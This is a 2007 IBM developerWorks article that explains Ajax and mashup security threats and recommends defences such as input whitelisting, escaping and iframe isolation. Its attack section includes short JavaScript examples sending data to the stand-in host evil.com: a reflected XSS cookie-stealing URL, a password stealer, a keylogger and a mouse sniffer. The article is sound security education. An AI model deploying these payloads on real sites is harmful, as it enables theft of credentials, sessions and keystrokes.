Skip to main content

Overcome security threats for Ajax applications

Learn tips and best practices to secure your mashup apps

Sachiko Yoshihama (sachikoy@jp.ibm.com), Research Staff Member, IBM Japan, Software Group
Sachiko Yoshihama
Sachiko Yoshihama is a researcher in the Security and Privacy Department at IBM Tokyo Research Laboratory in Yamato, Kanagawa, Japan. Her research interests include Web 2.0 security, information flow control, and trusted computing.
Dr. Frederik De Keukelaere (eb41704@jp.ibm.com), Postdoctoral Researcher, IBM Japan, Software Group
Frederik De Keukelaere
Frederik De Keukelaere is a postdoctoral researcher at IBM Tokyo Research Laboratory. Before joining TRL, he was active within the MPEG community, where he served as contributor and editor for several MPEG-21 standards. At TRL, he focuses on enhancing Web 2.0 security. He received his Ph.D. in computer science engineering from Ghent University, Belgium.
Dr. Michael Steiner (msteiner@watson.ibm.com), Research Staff Member, IBM Japan, Software Group
Michael Steiner
Michael Steiner is a research staff member at the IBM T.J. Watson Research Center. His research focuses on cryptography and security in distributed systems. He received his Ph.D. in computer science from Saarland University, Germany.
Dr. Naohiko Uramoto (uramoto@jp.ibm.com), Research Staff Member, IBM Japan, Software Group
Naohiko Uramoto
Naohiko Uramoto joined the IBM Tokyo Research Laboratory in 1990 after receiving a master's degree in computer science from Kyushu University. He received a Ph.D. in computer science from Kyushu University in 2000. He has been a visiting associate professor at the National Institute of Informatics from 2000 to 2005. Currently, he leads research projects on Web services security and Web 2.0 security.

Summary:  Asynchronous JavaScript + XML (Ajax), a key technology in Web 2.0, allows user interaction with Web pages to be decoupled from the Web browser's communication with the server. In particular, Ajax drives mashups, which integrate multiple contents or services into a single user experience. However, Ajax and mashup technology introduce new types of threats because of their dynamic and multidomain nature. Learn about the threats associated with Ajax technologies, and discover some best practices to avoid them.

Date:  19 Jun 2007
Level:  Intermediate
Activity:  2767 views
Comments:  

Ajax is built on Dynamic HTML (DHTML) technologies, including these most common ones:

  • JavaScript: JavaScript is a scripting language commonly used in client-slide Web applications.
  • Document Object Model (DOM): DOM is a standard object model for representing HTML or XML documents. Most of today's browsers support DOM and allow JavaScript code to read and modify the HTML content dynamically.
  • Cascading Style Sheets (CSS): CSS is a stylesheet language used to describe the presentation of HTML documents. JavaScript can modify the stylesheet at run time, allowing the presentation of the Web page to update dynamically.

In Ajax, client-side JavaScript updates the presentation of a Web page by dynamically modifying the DOM tree and the stylesheet. In addition, asynchronous communication, enabled by the following technologies, allows dynamic updates of data without the need to reload the entire Web page:

  • XMLHttpRequest : XMLHttpRequest is an API that allows client-side JavaScript to make HTTP connections to remote servers and to exchange data, such as plain text, XML, or JavaScript Serialized Object Notation (JSON).
  • JSON: JSON, as proposed in Request for Comments (RFC) 4627, is a lightweight, text-based, language-independent, data-interchange format. It's based on a subset of the ECMAScript language (making it part of the JavaScript language), and it defines a small set of formatting rules to create a portable representation of structured data.

Note that there are other commonly used alternatives for JSON in Ajax applications, such as XML and unformatted plain text. We chose to discuss JSON here, since it has some security implications that we'll examine later in this article.

Readers who aren't familiar with Ajax are encouraged to read the articles in Resources.

Understanding the same-origin policy

When contents from multiple originators are somehow integrated into a single application, some of the contents might have a different level of trust from others, or they might not necessarily trust each other. A natural requirement is to isolate contents from different originators to minimize their interference.

The same-origin policy is the part of the current browser's protection mechanism that isolates Web applications coming from different domains under an assumption that domains represent originators. That is, if applications in multiple windows or frames are downloaded from different servers, they will not be able to access each other's data and scripts. Note that the same-origin policy only applies to HTML documents. JavaScript files that are imported into an HTML document by <script src="..." > tags are regarded as part of the same-origin as the HTML document. This policy is implemented in all the major browser implementations.

In the context of XMLHttpRequest, the same-origin policy is intended to control an application's interaction with remote servers. However, the same-origin policy has only limited impact on Web 2.0 applications for several reasons:

  • You can bypass the same-origin policy in many ways: We'll illustrate some of these ways later in the article.
  • A major characteristic of Web 2.0 applications is the users' contribution to the content: That is, the content is usually not provided by a trusted service but often rather by anonymous users through blogs, wikis, and so on. Therefore, even the contents from a single server can actually come from multiple sources.
  • Browsers enforcing the same-origin policy check the domain name of the server as a string literal: For example, http://www.abc.com/ and http://12.34.56.78/ are treated as different domains even if the IP address of www.abc.com is actually 12.34.56.78. In addition, any path expression of the URL is ignored. For example, http://www.abc.com/~alice is identified as the same-origin as http://www.abc.com/~malroy, ignoring the fact that both directories probably belong to different users.
  • Most Web browsers allow a Web application to relax its domain definition to the super domain of the application itself: For example, if the application is downloaded from www.abc.com, the application can override the document.domain property to abc.com or just com (in case of Firefox). Most of the latest browsers only allow access to window objects between windows or frames that have overridden their document.domain property to the same value. However, some older versions of browsers allow making XMLHttpRequest connections to the domain specified at the document.domain property.
  • Even if a Web server is in the trusted domain, it might not be the originator of the contents, especially in the context of Web 2.0: For example, an enterprise portal server, Web-based mail server, or wiki may be trusted, but the contents they're hosting may include input from potentially malicious third parties, which could be the target of cross-site scripting (XSS) attacks (which we'll describe later). Therefore, the domains of the servers don't represent trustworthiness of the contents.

Avoiding the same-origin policy: JSON and the dynamic script tag

Since JSON is just plain text with a simple bracketed structure, many channels can exchange a JSON message. Because of the same-origin policy, you cannot use XMLHttpRequest when communicating with external servers. JSON with Padding (JSONP) is a way to bypass the same-origin policy by using JSON in combination with the <script> tag, as shown in Listing 1.


Listing 1. JSON example
                
<script type="text/javascript"
  src="http://travel.com/findItinerary?username=sachiko&
  reservationNum=1234&output=json&callback=showItinerary" />
	

When JavaScript code dynamically inserts the <script> tag, the browser accesses the URL in the src attribute. This results in sending the information in the query string to the server. In Listing 1, the username and reservation are passed as name-value pairs. In addition, the query string contains the output format requested to the server and the name of the callback function (that is, showItinerary). When the <script> tag loads, the callback function executes, and the information returned from the server passes to it through its arguments.

Avoiding the same-origin policy: Ajax proxy

An Ajax proxy is an application-level proxy server that mediates HTTP requests and responses between Web browsers and servers. Ajax proxies allow Web browsers to bypass the same-origin policy and therefore to access third-party servers using XMLHttpRequest. To realize this bypassing, you can choose from two approaches:

  • The client-side Web application is aware of the third-party URL and passes it as a request parameter in the HTTP request to the Ajax proxy. The proxy then forwards the request to www.remoteservice.com. Note that you can hide the use of a proxy server in the implementation of the Ajax library used by the Web application developer. To the Web application developer, it might look like he doesn't have the same-origin policy at all.
  • The client-side Web application isn't aware of the third-party URL, and it tries to access resources on the Ajax proxy server through HTTP. By a predefined encoding rule, the Ajax proxy translates the requested URL into a third-party server URL and retrieves contents on behalf of the client. In this case, it looks to the Web application developer like he's communicating with the proxy server directly.

Avoiding the same-origin policy: Greasemonkey

Greasemonkey is a Firefox extension that allows users to modify Web page styles and content on the fly. Greasemonkey users can associate user script files with a set of URLs. These scripts execute when the browser loads a page from the URL set. Greasemonkey provides APIs to the user scripts with additional permissions (compared to the permissions of the scripts running in the browser sandbox).

One of these APIs is GM_XMLHttpRequest, which is basically XMLHttpRequest without the same-origin policy. A user script can override the browser's built-in XMLHttpRequest with GM_XMLHttpRequest to give XMLHttpRequest permission to perform cross-domain access.

The use of GM_XMLHttpRequest is protected only by means of user consent. That is, Greasemonkey only requires user confirmation when associating a new user script with a particular set of URLs. However, it isn't difficult to imagine that some users might be tricked into accepting this installation without fully understanding its consequences.

Examining attack scenarios

Not only do developers avoid the same-origin policy and open up an attack surface to malicious users, but current applications also become vulnerable to attacks when malicious code is inserted into a Web application. Unfortunately, malicious code can find its way into a Web application in many ways. We'll briefly discuss two of these possible routes, which are becoming more relevant in the context of Web 2.0.

Cross-site scripting (XSS)

XSS is a common attack in which an attacker injects a malicious piece of code into an otherwise benign site. The two basic types of XSS attacks are:

  • Reflected XSS
  • Stored XSS

A reflected XSS attack exploits vulnerable Web applications that display input parameters back to the browser without checking for the presence of active content in them. Typically, an attacker lures victims into clicking on the URL, as shown in Listing 2.


Listing 2. An example URL for reflected XSS
                	
http://trusted.com/search?keyword=<script>
document.images[0].src="http://evil.com/steal?cookie=" 
+ document.cookie; </script>
	

Suppose that trusted.com hosts a service that has a search feature that posts back the search results together with the keywords that were entered. If the search application doesn't filter the special characters [such as the less than (<) and greater than (>) symbols] in the URL, the content of the <script> tag will also be inserted into the user Web page, and as a result, will send the document cookie to the remote server evil.com.

The stored XSS attack has become more important with the prevalence of Web 2.0. The key of Web 2.0 is sharing, interaction, and collaboration among people, so users have more chance of seeing other (potentially malicious) users' input through services such as social network services (SNS), wikis, or blogs.

In either case, input value validation and sanitization are the key to preventing XSS attacks. Usually Web servers remove scripts from user input, but often attackers exploit vulnerabilities to bypass these filters, resulting in major attacks such as the Yamanner or MySpace worms.

Mashups

A mashup application is a Web application that combines content and services from multiple sources into one integrated user experience. A typical mashup application results in a single client-side application, so the different parts of the mashup can share information and interact through several browser resources such as the DOM tree or browser window properties. When some part of the mashup is written under malicious intent (or has been hacked), it can inject malicious code into the application. This can result in all kinds of attacks (similar to XSS), including the theft of sensitive user information.


Understanding the Effect of Attacks

Now that you know how attackers get their code into applications, look at the implications of some common attacks.

Stealing cookies or passwords

The most direct benefit for an attacker is to obtain sensitive user information, such as user passwords or cookies. Since injected scripts can access any part of the DOM tree, they can, among other things, steal password information from the text field of login forms. For example, Listing 3 shows code that steals information and sends it to an attacker's server.


Listing 3. Example attack: Stealing a password from a text field
                	
function stealpw(){
  var pw = document.getElementById("password").value;
  document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = stealpw;

In this example, the attacker needs to wait until the user clicks the submit button before he receives his data. Ajax makes an attacker's job even easier, since it allows him to send arbitrary information to remote servers without waiting for explicit user actions, such as pushing a button or clicking on a link. This type of traffic would normally be seen as suspicious behavior, but due to the asynchronous nature of Ajax applications, this traffic usually goes undetected.

Using a similar approach, an attacker can also steal document cookies of sensitive Web applications (such as online banking applications). The document cookies can allow the attacker to hijack sessions or log in with stolen credentials.

Note that Microsoft® Internet Explorer® 6 or later supports the HttpOnly cookies, which prevent the client-side script from accessing the document cookies. However, since most of the Web applications cannot rely on the browser implementation, this doesn't improve the situation.

Stealing keyboard events with a key logger

Listing 4 shows a simple example of a key logger, which steals keyboard events from the Web page and sends them to a remote server. The key logger allows an attacker to hijack any user input; for example, if a user uses a Web-based e-mail service, the key logger will record and transmit any text input to the attacker. The attacker can then analyze the recorded data to retrieve confidential information, such as passwords and confidential messages.


Listing 4. Example attack: Key logger
                	
function keylogger(e){
  document.images[0].src = "http://evil.com/logger?key="
  + e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);

Stealing keyboard events with a mouse sniffer

Soft keypads are becoming a common technique to prevent key-logger attacks on sensitive input, such as the login PIN code for online banking services. However, mouse sniffers can use techniques similar to those used by key loggers. By stealing the X and Y coordinates of mouse events, it is possible to deduce which keys on the keypad were clicked. Listing 5 demonstrates an example of a simple mouse sniffer.


Listing 5. Example attack: Mouse sniffer
                		
function sniffer(e){
  document.images[0].src= "http://evil.com/imgs/sniffer?x="
  + e.clientX + "&y=" + e.clientY;
};
document.body.addEventListener("mouseup", sniffer, false);

Inserting wrong information

Using the DOM interface, an attacker can modify any information in the DOM tree. For example, as a user is making an online money transfer, it is possible for an attacker to change the destination account to one that belongs to him. As a result, the transferred money will be deposited into the attacker's account.

In another type of attack, the attacker might modify the stylesheet to hide information from users. For example, suppose that a Web page includes a warning message, as shown in Listing 6.


Listing 6. Warning message
                		
...
<style type="text/css"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to 
potentially malicious Web pages, so be careful. </div>
...
	

The attacker might modify the stylesheet to eliminate the warning. For example, Listing 7 shows JavaScript code that modifies the style of the warning to make it invisible on a white background.


Listing 7. Example attack: Eliminating warnings
                		
var e = document.getElementById("warning");
e.style.color= "white";
	


Recommended best practices

Now that you have the basic knowledge of how attacks might be realized and what the consequences would be, let's have a quick look at some techniques that you can apply to improve the security of Ajax applications.

Add an input value check

As you've seen in the XSS examples, most of the attacks exploit server-side vulnerabilities by injecting malicious scripts. Therefore, input validation is the first step toward protecting Web applications. Input validation and sanitation filter out all possible active or malicious content from untrusted input.

Two types of input validation:

  • Blacklisting: In this approach, all characters in the blacklist are filtered out from the input. The biggest challenge with blacklisting is to ensure that all dangerous characters are listed. Since it isn't possible to foresee all possible combinations of input, blacklisting often fails to validate correctly.
  • Whitelisting: This alternative lists all the allowed characters and removes all other characters from the input. The big challenge for whitelisting is to keep the list as short as possible while you still provide enough flexibility to allow the type of input required for the Web application.

You cannot consider blacklisting or whitelisting to be a foolproof solution. However, whitelisting is generally considered the more secure option. Therefore, it is recommended that you use whitelisting to clean up potentially dangerous input.

Escaping special characters [such as changing the less than symbol (<) to "&lt;"] in the string that you send to and display on browsers is another way to improve security. Some programming languages provide useful built-in functions to escape special characters.

Use vulnerability checking tools

Many Web applications are vulnerable due to the similar type of programming errors in applications. Therefore, security experts have developed tools to detect these insecure programming practices. Such tools, called vulnerability checking tools, detect the potential vulnerabilities in advance. One of the most common vulnerabilities that these tools detect is when programmers forget to call a sanitation routine on potential malicious input.

Don't generate and execute code dynamically

You can use several ways to generate code dynamically in a JavaScript program. One of the best-known functions is the eval() function, which allows you to execute an arbitrary string as JavaScript code. However, it is very dangerous to use this function without care. Avoid the use of dynamically generated code unless absolutely necessary. Unfortunately, some widespread JavaScript libraries use the eval() function internally.

Secure the use of JSON

Since JSON is based on a subset of JavaScript, it is script content, which potentially can contain malicious code. However, JSON is a safe subset of JavaScript that excludes assignment and invocation. Therefore, many JavaScript libraries simply use the eval() function to convert JSON into a JavaScript object. To exploit this, attackers send malformed JSON objects to these libraries so the eval() function executes their malicious code. You can take several approaches to secure the use of JSON. The first approach is to use the regular expressions defined in RFC 4627 to make sure the JSON data doesn't contain active parts. Listing 8 demonstrates how to check a JSON string with a regular expression.


Listing 8. Checking a JSON string with a regular expression
                
	var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
    text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&
    eval('(' + text + ')');
	

An even more secure alternative is using a JSON parser to parse the JSON data. Since the grammar of JSON is fairly simple, you can implement such a parser easily without any noticeable performance difference.

Use <iframe> when integrating distrusted contents

You can take advantage of the same-origin policy to make it harder for attackers to get access to the full DOM tree. When you load data from a different domain into an <iframe>, give that data its own JavaScript execution context and DOM tree. This prevents attackers from stealing information from the main page. It's a good practice to use the <iframe> as much as possible to confine untrusted external contents.

Conclusions

In this article, we provided an overview of different ways in which Web 2.0 applications avoid the same-origin policy. We also demonstrated how this opens up some new attack vectors to Web applications. We discussed some common types of attacks and the results that attackers can obtain. Finally, we concluded with a short best practices section, which you can use to avoid some of the most common attacks.


Resources

Learn

Get products and technologies

  • Greasespot: Visit the home page of Greasemonkey and its links to related resources.

  • IBM trial software: Build your next development project with trial software available for download directly from developerWorks.

Discuss

About the authors

Sachiko Yoshihama

Sachiko Yoshihama is a researcher in the Security and Privacy Department at IBM Tokyo Research Laboratory in Yamato, Kanagawa, Japan. Her research interests include Web 2.0 security, information flow control, and trusted computing.

Frederik De Keukelaere

Frederik De Keukelaere is a postdoctoral researcher at IBM Tokyo Research Laboratory. Before joining TRL, he was active within the MPEG community, where he served as contributor and editor for several MPEG-21 standards. At TRL, he focuses on enhancing Web 2.0 security. He received his Ph.D. in computer science engineering from Ghent University, Belgium.

Michael Steiner

Michael Steiner is a research staff member at the IBM T.J. Watson Research Center. His research focuses on cryptography and security in distributed systems. He received his Ph.D. in computer science from Saarland University, Germany.

Naohiko Uramoto

Naohiko Uramoto joined the IBM Tokyo Research Laboratory in 1990 after receiving a master's degree in computer science from Kyushu University. He received a Ph.D. in computer science from Kyushu University in 2000. He has been a visiting associate professor at the National Institute of Informatics from 2000 to 2005. Currently, he leads research projects on Web services security and Web 2.0 security.

Comments



Trademarks

static.content.url=/developerworks/js/artrating/
SITE_ID=1
Zone=XML, Web development
ArticleID=230552
ArticleTitle=Overcome security threats for Ajax applications
publish-date=06192007
author1-email=sachikoy@jp.ibm.com
author1-email-cc=dwxed@us.ibm.com
author2-email=eb41704@jp.ibm.com
author2-email-cc=dwxed@us.ibm.com
author3-email=msteiner@watson.ibm.com
author3-email-cc=
author4-email=uramoto@jp.ibm.com
author4-email-cc=dwxed@us.ibm.com